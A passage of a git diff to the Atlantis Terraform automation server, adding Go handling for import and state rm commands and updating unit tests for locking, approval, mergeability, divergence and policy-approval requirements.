os.Stat(projAbsPath); os.IsNotExist(err) { + return nil, "", DirNotExistErr{RepoRelDir: ctx.RepoRelDir} + } + + failure, err = p.CommandRequirementHandler.ValidateImportProject(repoDir, ctx) + if failure != "" || err != nil { + return nil, failure, err + } + + // Acquire Atlantis lock for this repo/dir/workspace. + lockAttempt, err := p.Locker.TryLock(ctx.Log, ctx.Pull, ctx.User, ctx.Workspace, models.NewProject(ctx.Pull.BaseRepo.FullName, ctx.RepoRelDir, ctx.ProjectName), ctx.RepoLocksMode != valid.RepoLocksDisabledMode) + if err != nil { + return nil, "", fmt.Errorf("acquiring lock: %w", err) + } + if !lockAttempt.LockAcquired { + return nil, lockAttempt.LockFailureReason, nil + } + ctx.Log.Debug("acquired lock for project") + + // Acquire internal lock for the directory we're going to operate in. + unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, ctx.Workspace, ctx.RepoRelDir) + if err != nil { + return nil, "", err + } + defer unlockFn() + + outputs, err := p.runSteps(ctx.Steps, ctx, projAbsPath) + if err != nil { + return nil, "", fmt.Errorf("%s\n%s", err, strings.Join(outputs, "\n")) + } + + // after import, re-plan command is required without import args + rePlanCmd := strings.TrimSpace(strings.Split(ctx.RePlanCmd, "--")[0]) + return &models.ImportSuccess{ + Output: strings.Join(outputs, "\n"), + RePlanCmd: rePlanCmd, + }, "", nil +} + +func (p *DefaultProjectCommandRunner) doStateRm(ctx command.ProjectContext) (out *models.StateRmSuccess, failure string, err error) { + // Clone is idempotent so okay to run even if the repo was already cloned. + repoDir, cloneErr := p.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, ctx.Workspace) + if cloneErr != nil { + return nil, "", cloneErr + } + projAbsPath := filepath.Join(repoDir, ctx.RepoRelDir) + if _, err = os.Stat(projAbsPath); os.IsNotExist(err) { + return nil, "", DirNotExistErr{RepoRelDir: ctx.RepoRelDir} + } + + // Acquire Atlantis lock for this repo/dir/workspace. + lockAttempt, err := p.Locker.TryLock(ctx.Log, ctx.Pull, ctx.User, ctx.Workspace, models.NewProject(ctx.Pull.BaseRepo.FullName, ctx.RepoRelDir, ctx.ProjectName), ctx.RepoLocksMode != valid.RepoLocksDisabledMode) + if err != nil { + return nil, "", fmt.Errorf("acquiring lock: %w", err) + } + if !lockAttempt.LockAcquired { + return nil, lockAttempt.LockFailureReason, nil + } + ctx.Log.Debug("acquired lock for project") + + // Acquire internal lock for the directory we're going to operate in. + unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, ctx.Workspace, ctx.RepoRelDir) + if err != nil { + return nil, "", err + } + defer unlockFn() + + outputs, err := p.runSteps(ctx.Steps, ctx, projAbsPath) + if err != nil { + return nil, "", fmt.Errorf("%s\n%s", err, strings.Join(outputs, "\n")) + } + + // after state rm, re-plan command is required without state rm args + rePlanCmd := strings.TrimSpace(strings.Split(ctx.RePlanCmd, "--")[0]) + return &models.StateRmSuccess{ + Output: strings.Join(outputs, "\n"), + RePlanCmd: rePlanCmd, + }, "", nil +} + +func (p *DefaultProjectCommandRunner) runSteps(steps []valid.Step, ctx command.ProjectContext, absPath string) ([]string, error) { + var outputs []string + + envs := make(map[string]string) + for _, step := range steps { + var out string + var err error + switch step.StepName { + case "init": + out, err = p.InitStepRunner.Run(ctx, step.ExtraArgs, absPath, envs) + case "plan": + out, err = p.PlanStepRunner.Run(ctx, step.ExtraArgs, absPath, envs) + case "show": + _, err = p.ShowStepRunner.Run(ctx, step.ExtraArgs, absPath, envs) + case "policy_check": + out, err = p.PolicyCheckStepRunner.Run(ctx, step.ExtraArgs, absPath, envs) + case "apply": + out, err = p.ApplyStepRunner.Run(ctx, step.ExtraArgs, absPath, envs) + case "version": + out, err = p.VersionStepRunner.Run(ctx, step.ExtraArgs, absPath, envs) + case "import": + out, err = p.ImportStepRunner.Run(ctx, step.ExtraArgs, absPath, envs) + case "state_rm": + out, err = p.StateRmStepRunner.Run(ctx, step.ExtraArgs, absPath, envs) + case "run": + out, err = p.RunStepRunner.Run(ctx, step.RunShell, step.RunCommand, absPath, envs, true, step.Output) + case "env": + out, err = p.EnvStepRunner.Run(ctx, step.RunShell, step.RunCommand, step.EnvVarValue, absPath, envs) + envs[step.EnvVarName] = out + // We reset out to the empty string because we don't want it to + // be printed to the PR, it's solely to set the environment variable. + out = "" + case "multienv": + out, err = p.MultiEnvStepRunner.Run(ctx, step.RunShell, step.RunCommand, absPath, envs, step.Output) + } + + if out != "" { + outputs = append(outputs, out) + } + if err != nil { + return outputs, err + } + } + return outputs, nil +} diff --git a/server/events/project_command_runner_test.go b/server/events/project_command_runner_test.go index b6739d82d6..5956929f57 100644 --- a/server/events/project_command_runner_test.go +++ b/server/events/project_command_runner_test.go @@ -14,19 +14,25 @@ package events_test import ( + "errors" + "fmt" "os" "testing" "github.com/hashicorp/go-version" - . "github.com/petergtz/pegomock" + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/core/runtime" + "github.com/runatlantis/atlantis/server/core/terraform" + tmocks "github.com/runatlantis/atlantis/server/core/terraform/mocks" + tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" "github.com/runatlantis/atlantis/server/events" + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/mocks" - "github.com/runatlantis/atlantis/server/events/mocks/matchers" "github.com/runatlantis/atlantis/server/events/models" - "github.com/runatlantis/atlantis/server/events/runtime" - mocks2 "github.com/runatlantis/atlantis/server/events/runtime/mocks" - tmocks "github.com/runatlantis/atlantis/server/events/terraform/mocks" - "github.com/runatlantis/atlantis/server/events/yaml/valid" + "github.com/runatlantis/atlantis/server/events/models/testdata" + vcsmocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" + jobmocks "github.com/runatlantis/atlantis/server/jobs/mocks" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) @@ -41,45 +47,34 @@ func TestDefaultProjectCommandRunner_Plan(t *testing.T) { realEnv := runtime.EnvStepRunner{} mockWorkingDir := mocks.NewMockWorkingDir() mockLocker := mocks.NewMockProjectLocker() + mockCommandRequirementHandler := mocks.NewMockCommandRequirementHandler() runner := events.DefaultProjectCommandRunner{ - Locker: mockLocker, - LockURLGenerator: mockURLGenerator{}, - InitStepRunner: mockInit, - PlanStepRunner: mockPlan, - ApplyStepRunner: mockApply, - RunStepRunner: mockRun, - EnvStepRunner: &realEnv, - PullApprovedChecker: nil, - WorkingDir: mockWorkingDir, - Webhooks: nil, - WorkingDirLocker: events.NewDefaultWorkingDirLocker(), + Locker: mockLocker, + LockURLGenerator: mockURLGenerator{}, + InitStepRunner: mockInit, + PlanStepRunner: mockPlan, + ApplyStepRunner: mockApply, + RunStepRunner: mockRun, + EnvStepRunner: &realEnv, + PullApprovedChecker: nil, + WorkingDir: mockWorkingDir, + Webhooks: nil, + WorkingDirLocker: events.NewDefaultWorkingDirLocker(), + CommandRequirementHandler: mockCommandRequirementHandler, } - repoDir, cleanup := TempDir(t) - defer cleanup() - When(mockWorkingDir.Clone( - matchers.AnyPtrToLoggingSimpleLogger(), - matchers.AnyModelsRepo(), - matchers.AnyModelsPullRequest(), - AnyString(), - )).ThenReturn(repoDir, false, nil) - When(mockLocker.TryLock( - matchers.AnyPtrToLoggingSimpleLogger(), - matchers.AnyModelsPullRequest(), - matchers.AnyModelsUser(), - AnyString(), - matchers.AnyModelsProject(), - )).ThenReturn(&events.TryLockResponse{ - LockAcquired: true, - LockKey: "lock-key", - }, nil) + repoDir := t.TempDir() + When(mockWorkingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Any[string]())).ThenReturn(repoDir, nil) + When(mockLocker.TryLock(Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.User](), Any[string](), + Any[models.Project](), AnyBool())).ThenReturn(&events.TryLockResponse{LockAcquired: true, LockKey: "lock-key"}, nil) expEnvs := map[string]string{ "name": "value", } - ctx := models.ProjectCommandContext{ - Log: logging.NewNoopLogger(), + ctx := command.ProjectContext{ + Log: logging.NewNoopLogger(t), Steps: []valid.Step{ { StepName: "env", @@ -106,13 +101,13 @@ func TestDefaultProjectCommandRunner_Plan(t *testing.T) { When(mockInit.Run(ctx, nil, repoDir, expEnvs)).ThenReturn("init", nil) When(mockPlan.Run(ctx, nil, repoDir, expEnvs)).ThenReturn("plan", nil) When(mockApply.Run(ctx, nil, repoDir, expEnvs)).ThenReturn("apply", nil) - When(mockRun.Run(ctx, "", repoDir, expEnvs)).ThenReturn("run", nil) + When(mockRun.Run(ctx, nil, "", repoDir, expEnvs, true, "")).ThenReturn("run", nil) res := runner.Plan(ctx) Assert(t, res.PlanSuccess != nil, "exp plan success") Equals(t, "https://lock-key", res.PlanSuccess.LockURL) + t.Logf("output is %s", res.PlanSuccess.TerraformOutput) Equals(t, "run\napply\nplan\ninit", res.PlanSuccess.TerraformOutput) - expSteps := []string{"run", "apply", "plan", "init", "env"} for _, step := range expSteps { switch step { @@ -123,11 +118,119 @@ func TestDefaultProjectCommandRunner_Plan(t *testing.T) { case "apply": mockApply.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs) case "run": - mockRun.VerifyWasCalledOnce().Run(ctx, "", repoDir, expEnvs) + mockRun.VerifyWasCalledOnce().Run(ctx, nil, "", repoDir, expEnvs, true, "") } } } +func TestProjectOutputWrapper(t *testing.T) { + RegisterMockTestingT(t) + ctx := command.ProjectContext{ + Log: logging.NewNoopLogger(t), + Steps: []valid.Step{ + { + StepName: "plan", + }, + }, + Workspace: "default", + RepoRelDir: ".", + } + + cases := []struct { + Description string + Failure bool + Error bool + Success bool + CommandName command.Name + }{ + { + Description: "plan success", + Success: true, + CommandName: command.Plan, + }, + { + Description: "plan failure", + Failure: true, + CommandName: command.Plan, + }, + { + Description: "plan error", + Error: true, + CommandName: command.Plan, + }, + { + Description: "apply success", + Success: true, + CommandName: command.Apply, + }, + { + Description: "apply failure", + Failure: true, + CommandName: command.Apply, + }, + { + Description: "apply error", + Error: true, + CommandName: command.Apply, + }, + } + + for _, c := range cases { + t.Run(c.Description, func(t *testing.T) { + var prjResult command.ProjectResult + var expCommitStatus models.CommitStatus + + mockJobURLSetter := mocks.NewMockJobURLSetter() + mockJobMessageSender := mocks.NewMockJobMessageSender() + mockProjectCommandRunner := mocks.NewMockProjectCommandRunner() + + runner := &events.ProjectOutputWrapper{ + JobURLSetter: mockJobURLSetter, + JobMessageSender: mockJobMessageSender, + ProjectCommandRunner: mockProjectCommandRunner, + } + + if c.Success { + prjResult = command.ProjectResult{ + PlanSuccess: &models.PlanSuccess{}, + ApplySuccess: "exists", + } + expCommitStatus = models.SuccessCommitStatus + } else if c.Failure { + prjResult = command.ProjectResult{ + Failure: "failure", + } + expCommitStatus = models.FailedCommitStatus + } else if c.Error { + prjResult = command.ProjectResult{ + Error: errors.New("error"), + } + expCommitStatus = models.FailedCommitStatus + } + + When(mockProjectCommandRunner.Plan(Any[command.ProjectContext]())).ThenReturn(prjResult) + When(mockProjectCommandRunner.Apply(Any[command.ProjectContext]())).ThenReturn(prjResult) + + switch c.CommandName { + case command.Plan: + runner.Plan(ctx) + case command.Apply: + runner.Apply(ctx) + } + + mockJobURLSetter.VerifyWasCalled(Once()).SetJobURLWithStatus(ctx, c.CommandName, models.PendingCommitStatus, nil) + mockJobURLSetter.VerifyWasCalled(Once()).SetJobURLWithStatus(ctx, c.CommandName, expCommitStatus, &prjResult) + + switch c.CommandName { + case command.Plan: + mockProjectCommandRunner.VerifyWasCalledOnce().Plan(ctx) + case command.Apply: + mockProjectCommandRunner.VerifyWasCalledOnce().Apply(ctx) + } + }) + } +} + // Test what happens if there's no working dir. This signals that the project // was never planned. func TestDefaultProjectCommandRunner_ApplyNotCloned(t *testing.T) { @@ -135,7 +238,7 @@ func TestDefaultProjectCommandRunner_ApplyNotCloned(t *testing.T) { runner := &events.DefaultProjectCommandRunner{ WorkingDir: mockWorkingDir, } - ctx := models.ProjectCommandContext{} + ctx := command.ProjectContext{} When(mockWorkingDir.GetWorkingDir(ctx.BaseRepo, ctx.Pull, ctx.Workspace)).ThenReturn("", os.ErrNotExist) res := runner.Apply(ctx) @@ -146,22 +249,21 @@ func TestDefaultProjectCommandRunner_ApplyNotCloned(t *testing.T) { func TestDefaultProjectCommandRunner_ApplyNotApproved(t *testing.T) { RegisterMockTestingT(t) mockWorkingDir := mocks.NewMockWorkingDir() - mockApproved := mocks2.NewMockPullApprovedChecker() runner := &events.DefaultProjectCommandRunner{ - WorkingDir: mockWorkingDir, - PullApprovedChecker: mockApproved, - WorkingDirLocker: events.NewDefaultWorkingDirLocker(), + WorkingDir: mockWorkingDir, + WorkingDirLocker: events.NewDefaultWorkingDirLocker(), + CommandRequirementHandler: &events.DefaultCommandRequirementHandler{ + WorkingDir: mockWorkingDir, + }, } - ctx := models.ProjectCommandContext{ + ctx := command.ProjectContext{ ApplyRequirements: []string{"approved"}, } - tmp, cleanup := TempDir(t) - defer cleanup() + tmp := t.TempDir() When(mockWorkingDir.GetWorkingDir(ctx.BaseRepo, ctx.Pull, ctx.Workspace)).ThenReturn(tmp, nil) - When(mockApproved.PullIsApproved(ctx.BaseRepo, ctx.Pull)).ThenReturn(false, nil) res := runner.Apply(ctx) - Equals(t, "Pull request must be approved by at least one person other than the author before running apply.", res.Failure) + Equals(t, "Pull request must be approved according to the project's approval rules before running apply.", res.Failure) } // Test that if mergeable is required and the PR isn't mergeable we give an error. @@ -171,19 +273,47 @@ func TestDefaultProjectCommandRunner_ApplyNotMergeable(t *testing.T) { runner := &events.DefaultProjectCommandRunner{ WorkingDir: mockWorkingDir, WorkingDirLocker: events.NewDefaultWorkingDirLocker(), + CommandRequirementHandler: &events.DefaultCommandRequirementHandler{ + WorkingDir: mockWorkingDir, + }, } - ctx := models.ProjectCommandContext{ - PullMergeable: false, + ctx := command.ProjectContext{ + PullReqStatus: models.PullReqStatus{ + Mergeable: false, + }, ApplyRequirements: []string{"mergeable"}, } - tmp, cleanup := TempDir(t) - defer cleanup() + tmp := t.TempDir() When(mockWorkingDir.GetWorkingDir(ctx.BaseRepo, ctx.Pull, ctx.Workspace)).ThenReturn(tmp, nil) res := runner.Apply(ctx) Equals(t, "Pull request must be mergeable before running apply.", res.Failure) } +// Test that if undiverged is required and the PR is diverged we give an error. +func TestDefaultProjectCommandRunner_ApplyDiverged(t *testing.T) { + RegisterMockTestingT(t) + mockWorkingDir := mocks.NewMockWorkingDir() + runner := &events.DefaultProjectCommandRunner{ + WorkingDir: mockWorkingDir, + WorkingDirLocker: events.NewDefaultWorkingDirLocker(), + CommandRequirementHandler: &events.DefaultCommandRequirementHandler{ + WorkingDir: mockWorkingDir, + }, + } + log := logging.NewNoopLogger(t) + ctx := command.ProjectContext{ + Log: log, + ApplyRequirements: []string{"undiverged"}, + } + tmp := t.TempDir() + When(mockWorkingDir.GetWorkingDir(ctx.BaseRepo, ctx.Pull, ctx.Workspace)).ThenReturn(tmp, nil) + When(mockWorkingDir.HasDiverged(ctx.Log, tmp)).ThenReturn(true) + + res := runner.Apply(ctx) + Equals(t, "Default branch must be rebased onto pull request before running apply.", res.Failure) +} + // Test that it runs the expected apply steps. func TestDefaultProjectCommandRunner_Apply(t *testing.T) { cases := []struct { @@ -271,39 +401,56 @@ func TestDefaultProjectCommandRunner_Apply(t *testing.T) { mockApply := mocks.NewMockStepRunner() mockRun := mocks.NewMockCustomStepRunner() mockEnv := mocks.NewMockEnvStepRunner() - mockApproved := mocks2.NewMockPullApprovedChecker() mockWorkingDir := mocks.NewMockWorkingDir() mockLocker := mocks.NewMockProjectLocker() mockSender := mocks.NewMockWebhooksSender() + applyReqHandler := &events.DefaultCommandRequirementHandler{ + WorkingDir: mockWorkingDir, + } runner := events.DefaultProjectCommandRunner{ - Locker: mockLocker, - LockURLGenerator: mockURLGenerator{}, - InitStepRunner: mockInit, - PlanStepRunner: mockPlan, - ApplyStepRunner: mockApply, - RunStepRunner: mockRun, - EnvStepRunner: mockEnv, - PullApprovedChecker: mockApproved, - WorkingDir: mockWorkingDir, - Webhooks: mockSender, - WorkingDirLocker: events.NewDefaultWorkingDirLocker(), + Locker: mockLocker, + LockURLGenerator: mockURLGenerator{}, + InitStepRunner: mockInit, + PlanStepRunner: mockPlan, + ApplyStepRunner: mockApply, + RunStepRunner: mockRun, + EnvStepRunner: mockEnv, + WorkingDir: mockWorkingDir, + Webhooks: mockSender, + WorkingDirLocker: events.NewDefaultWorkingDirLocker(), + CommandRequirementHandler: applyReqHandler, } - repoDir, cleanup := TempDir(t) - defer cleanup() + repoDir := t.TempDir() When(mockWorkingDir.GetWorkingDir( - matchers.AnyModelsRepo(), - matchers.AnyModelsPullRequest(), - AnyString(), + Any[models.Repo](), + Any[models.PullRequest](), + Any[string](), )).ThenReturn(repoDir, nil) + When(mockLocker.TryLock( + Any[logging.SimpleLogging](), + Any[models.PullRequest](), + Any[models.User](), + Any[string](), + Any[models.Project](), + AnyBool(), + )).ThenReturn(&events.TryLockResponse{ + LockAcquired: true, + LockKey: "lock-key", + }, nil) - ctx := models.ProjectCommandContext{ - Log: logging.NewNoopLogger(), + ctx := command.ProjectContext{ + Log: logging.NewNoopLogger(t), Steps: c.steps, Workspace: "default", ApplyRequirements: c.applyReqs, RepoRelDir: ".", - PullMergeable: c.pullMergeable, + PullReqStatus: models.PullReqStatus{ + ApprovalStatus: models.ApprovalStatus{ + IsApproved: true, + }, + Mergeable: true, + }, } expEnvs := map[string]string{ "key": "value", @@ -311,9 +458,8 @@ func TestDefaultProjectCommandRunner_Apply(t *testing.T) { When(mockInit.Run(ctx, nil, repoDir, expEnvs)).ThenReturn("init", nil) When(mockPlan.Run(ctx, nil, repoDir, expEnvs)).ThenReturn("plan", nil) When(mockApply.Run(ctx, nil, repoDir, expEnvs)).ThenReturn("apply", nil) - When(mockRun.Run(ctx, "", repoDir, expEnvs)).ThenReturn("run", nil) - When(mockEnv.Run(ctx, "", "value", repoDir, make(map[string]string))).ThenReturn("value", nil) - When(mockApproved.PullIsApproved(ctx.BaseRepo, ctx.Pull)).ThenReturn(true, nil) + When(mockRun.Run(ctx, nil, "", repoDir, expEnvs, true, "")).ThenReturn("run", nil) + When(mockEnv.Run(ctx, nil, "", "value", repoDir, make(map[string]string))).ThenReturn("value", nil) res := runner.Apply(ctx) Equals(t, c.expOut, res.ApplySuccess) @@ -321,8 +467,6 @@ func TestDefaultProjectCommandRunner_Apply(t *testing.T) { for _, step := range c.expSteps { switch step { - case "approved": - mockApproved.VerifyWasCalledOnce().PullIsApproved(ctx.BaseRepo, ctx.Pull) case "init": mockInit.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs) case "plan": @@ -330,64 +474,114 @@ func TestDefaultProjectCommandRunner_Apply(t *testing.T) { case "apply": mockApply.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs) case "run": - mockRun.VerifyWasCalledOnce().Run(ctx, "", repoDir, expEnvs) + mockRun.VerifyWasCalledOnce().Run(ctx, nil, "", repoDir, expEnvs, true, "") case "env": - mockEnv.VerifyWasCalledOnce().Run(ctx, "", "value", repoDir, expEnvs) + mockEnv.VerifyWasCalledOnce().Run(ctx, nil, "", "value", repoDir, expEnvs) } } }) } } +// Test that it runs the expected apply steps. +func TestDefaultProjectCommandRunner_ApplyRunStepFailure(t *testing.T) { + RegisterMockTestingT(t) + mockApply := mocks.NewMockStepRunner() + mockWorkingDir := mocks.NewMockWorkingDir() + mockLocker := mocks.NewMockProjectLocker() + mockSender := mocks.NewMockWebhooksSender() + applyReqHandler := &events.DefaultCommandRequirementHandler{ + WorkingDir: mockWorkingDir, + } + + runner := events.DefaultProjectCommandRunner{ + Locker: mockLocker, + LockURLGenerator: mockURLGenerator{}, + ApplyStepRunner: mockApply, + WorkingDir: mockWorkingDir, + WorkingDirLocker: events.NewDefaultWorkingDirLocker(), + CommandRequirementHandler: applyReqHandler, + Webhooks: mockSender, + } + repoDir := t.TempDir() + When(mockWorkingDir.GetWorkingDir( + Any[models.Repo](), + Any[models.PullRequest](), + Any[string](), + )).ThenReturn(repoDir, nil) + When(mockLocker.TryLock( + Any[logging.SimpleLogging](), + Any[models.PullRequest](), + Any[models.User](), + Any[string](), + Any[models.Project](), + AnyBool(), + )).ThenReturn(&events.TryLockResponse{ + LockAcquired: true, + LockKey: "lock-key", + }, nil) + + ctx := command.ProjectContext{ + Log: logging.NewNoopLogger(t), + Steps: []valid.Step{ + { + StepName: "apply", + }, + }, + Workspace: "default", + ApplyRequirements: []string{}, + RepoRelDir: ".", + } + expEnvs := map[string]string{} + When(mockApply.Run(ctx, nil, repoDir, expEnvs)).ThenReturn("apply", fmt.Errorf("something went wrong")) + + res := runner.Apply(ctx) + Assert(t, res.ApplySuccess == "", "exp apply failure") + + mockApply.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs) +} + // Test run and env steps. We don't use mocks for this test since we're // not running any Terraform. func TestDefaultProjectCommandRunner_RunEnvSteps(t *testing.T) { RegisterMockTestingT(t) - tfClient := tmocks.NewMockClient() + tfClient := tfclientmocks.NewMockClient() + tfDistribution := terraform.NewDistributionTerraformWithDownloader(tmocks.NewMockDownloader()) tfVersion, err := version.NewVersion("0.12.0") Ok(t, err) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() run := runtime.RunStepRunner{ - TerraformExecutor: tfClient, - DefaultTFVersion: tfVersion, + TerraformExecutor: tfClient, + DefaultTFDistribution: tfDistribution, + DefaultTFVersion: tfVersion, + ProjectCmdOutputHandler: projectCmdOutputHandler, } env := runtime.EnvStepRunner{ RunStepRunner: &run, } mockWorkingDir := mocks.NewMockWorkingDir() mockLocker := mocks.NewMockProjectLocker() + mockCommandRequirementHandler := mocks.NewMockCommandRequirementHandler() runner := events.DefaultProjectCommandRunner{ - Locker: mockLocker, - LockURLGenerator: mockURLGenerator{}, - RunStepRunner: &run, - EnvStepRunner: &env, - PullApprovedChecker: nil, - WorkingDir: mockWorkingDir, - Webhooks: nil, - WorkingDirLocker: events.NewDefaultWorkingDirLocker(), + Locker: mockLocker, + LockURLGenerator: mockURLGenerator{}, + RunStepRunner: &run, + EnvStepRunner: &env, + WorkingDir: mockWorkingDir, + Webhooks: nil, + WorkingDirLocker: events.NewDefaultWorkingDirLocker(), + CommandRequirementHandler: mockCommandRequirementHandler, } - repoDir, cleanup := TempDir(t) - defer cleanup() - When(mockWorkingDir.Clone( - matchers.AnyPtrToLoggingSimpleLogger(), - matchers.AnyModelsRepo(), - matchers.AnyModelsPullRequest(), - AnyString(), - )).ThenReturn(repoDir, false, nil) - When(mockLocker.TryLock( - matchers.AnyPtrToLoggingSimpleLogger(), - matchers.AnyModelsPullRequest(), - matchers.AnyModelsUser(), - AnyString(), - matchers.AnyModelsProject(), - )).ThenReturn(&events.TryLockResponse{ - LockAcquired: true, - LockKey: "lock-key", - }, nil) + repoDir := t.TempDir() + When(mockWorkingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Any[string]())).ThenReturn(repoDir, nil) + When(mockLocker.TryLock(Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.User](), Any[string](), + Any[models.Project](), AnyBool())).ThenReturn(&events.TryLockResponse{LockAcquired: true, LockKey: "lock-key"}, nil) - ctx := models.ProjectCommandContext{ - Log: logging.NewNoopLogger(), + ctx := command.ProjectContext{ + Log: logging.NewNoopLogger(t), Steps: []valid.Step{ { StepName: "run", @@ -431,8 +625,683 @@ func TestDefaultProjectCommandRunner_RunEnvSteps(t *testing.T) { Equals(t, "var=\n\nvar=value\n\ndynamic_var=dynamic_value\n\ndynamic_var=overridden\n", res.PlanSuccess.TerraformOutput) } +// Test that it runs the expected import steps. +func TestDefaultProjectCommandRunner_Import(t *testing.T) { + expEnvs := map[string]string{} + cases := []struct { + description string + steps []valid.Step + importReqs []string + pullReqStatus models.PullReqStatus + setup func(repoDir string, ctx command.ProjectContext, mockLocker *mocks.MockProjectLocker, mockInit *mocks.MockStepRunner, mockImport *mocks.MockStepRunner) + + expSteps []string + expOut *models.ImportSuccess + expFailure string + }{ + { + description: "normal workflow", + steps: valid.DefaultImportStage.Steps, + importReqs: []string{"approved"}, + pullReqStatus: models.PullReqStatus{ + ApprovalStatus: models.ApprovalStatus{ + IsApproved: true, + }, + }, + setup: func(repoDir string, ctx command.ProjectContext, mockLocker *mocks.MockProjectLocker, mockInit *mocks.MockStepRunner, mockImport *mocks.MockStepRunner) { + When(mockLocker.TryLock( + Any[logging.SimpleLogging](), + Any[models.PullRequest](), + Any[models.User](), + Any[string](), + Any[models.Project](), + AnyBool(), + )).ThenReturn(&events.TryLockResponse{ + LockAcquired: true, + LockKey: "lock-key", + }, nil) + + When(mockInit.Run(ctx, nil, repoDir, expEnvs)).ThenReturn("init", nil) + When(mockImport.Run(ctx, nil, repoDir, expEnvs)).ThenReturn("import", nil) + }, + expSteps: []string{"import"}, + expOut: &models.ImportSuccess{ + Output: "init\nimport", + RePlanCmd: "atlantis plan -d .", + }, + }, + { + description: "approval required", + steps: valid.DefaultImportStage.Steps, + importReqs: []string{"approved"}, + pullReqStatus: models.PullReqStatus{ + ApprovalStatus: models.ApprovalStatus{ + IsApproved: false, + }, + }, + expFailure: "Pull request must be approved according to the project's approval rules before running import.", + }, + } + + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + RegisterMockTestingT(t) + mockInit := mocks.NewMockStepRunner() + mockImport := mocks.NewMockStepRunner() + mockStateRm := mocks.NewMockStepRunner() + mockWorkingDir := mocks.NewMockWorkingDir() + mockLocker := mocks.NewMockProjectLocker() + mockSender := mocks.NewMockWebhooksSender() + applyReqHandler := &events.DefaultCommandRequirementHandler{ + WorkingDir: mockWorkingDir, + } + + runner := events.DefaultProjectCommandRunner{ + Locker: mockLocker, + LockURLGenerator: mockURLGenerator{}, + InitStepRunner: mockInit, + ImportStepRunner: mockImport, + StateRmStepRunner: mockStateRm, + WorkingDir: mockWorkingDir, + Webhooks: mockSender, + WorkingDirLocker: events.NewDefaultWorkingDirLocker(), + CommandRequirementHandler: applyReqHandler, + } + ctx := command.ProjectContext{ + Log: logging.NewNoopLogger(t), + Steps: c.steps, + Workspace: "default", + ImportRequirements: c.importReqs, + RepoRelDir: ".", + PullReqStatus: c.pullReqStatus, + RePlanCmd: "atlantis plan -d . -- addr id", + } + repoDir := t.TempDir() + When(mockWorkingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Any[string]())).ThenReturn(repoDir, nil) + if c.setup != nil { + c.setup(repoDir, ctx, mockLocker, mockInit, mockImport) + } + + res := runner.Import(ctx) + Equals(t, c.expOut, res.ImportSuccess) + Equals(t, c.expFailure, res.Failure) + + for _, step := range c.expSteps { + switch step { + case "init": + mockInit.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs) + case "import": + mockImport.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs) + } + } + }) + } +} + type mockURLGenerator struct{} func (m mockURLGenerator) GenerateLockURL(lockID string) string { return "https://" + lockID } + +// Test approve policies logic. +func TestDefaultProjectCommandRunner_ApprovePolicies(t *testing.T) { + cases := []struct { + description string + + policySetCfg valid.PolicySets + policySetStatus []models.PolicySetStatus + userTeams []string // Teams the user is a member of + targetedPolicy string // Policy to target when running approvals + clearPolicyApproval bool + + expOut []models.PolicySetResult + expFailure string + hasErr bool + }{ + { + description: "When user is not an owner at any level, approve policy fails.", + hasErr: true, + policySetCfg: valid.PolicySets{ + Owners: valid.PolicyOwners{ + Users: []string{"someotheruser1"}, + }, + PolicySets: []valid.PolicySet{ + { + Name: "policy1", + ApproveCount: 1, + Owners: valid.PolicyOwners{ + Teams: []string{"someotherteam"}, + }, + }, + }, + }, + expOut: []models.PolicySetResult{ + { + PolicySetName: "policy1", + ReqApprovals: 1, + }, + }, + expFailure: "One or more policy sets require additional approval.", + }, + { + description: "When user is a top-level owner, increment approval count on all policies.", + hasErr: false, + policySetCfg: valid.PolicySets{ + Owners: valid.PolicyOwners{ + Users: []string{testdata.User.Username}, + }, + PolicySets: []valid.PolicySet{ + { + Name: "policy1", + ApproveCount: 1, + }, + { + Name: "policy2", + ApproveCount: 2, + }, + }, + }, + expOut: []models.PolicySetResult{ + { + PolicySetName: "policy1", + ReqApprovals: 1, + CurApprovals: 1, + }, + { + PolicySetName: "policy2", + ReqApprovals: 2, + CurApprovals: 1, + }, + }, + expFailure: "One or more policy sets require additional approval.", + }, + { + description: "When user is not a top-level owner, but an owner of a policy set, increment approval count only the policy set they are an owner of.", + hasErr: true, + policySetCfg: valid.PolicySets{ + PolicySets: []valid.PolicySet{ + { + Owners: valid.PolicyOwners{ + Users: []string{testdata.User.Username}, + }, + Name: "policy1", + ApproveCount: 1, + }, + { + Name: "policy2", + ApproveCount: 2, + }, + }, + }, + expOut: []models.PolicySetResult{ + { + PolicySetName: "policy1", + ReqApprovals: 1, + CurApprovals: 1, + }, + { + PolicySetName: "policy2", + ReqApprovals: 2, + CurApprovals: 0, + }, + }, + expFailure: "One or more policy sets require additional approval.", + }, + { + description: "When user is a top-level owner through membership, increment approval on all policies.", + userTeams: []string{"someuserteam"}, + policySetCfg: valid.PolicySets{ + Owners: valid.PolicyOwners{ + Teams: []string{"someuserteam"}, + }, + PolicySets: []valid.PolicySet{ + { + Name: "policy1", + ApproveCount: 1, + }, + { + Name: "policy2", + ApproveCount: 1, + }, + }, + }, + expOut: []models.PolicySetResult{ + { + PolicySetName: "policy1", + ReqApprovals: 1, + CurApprovals: 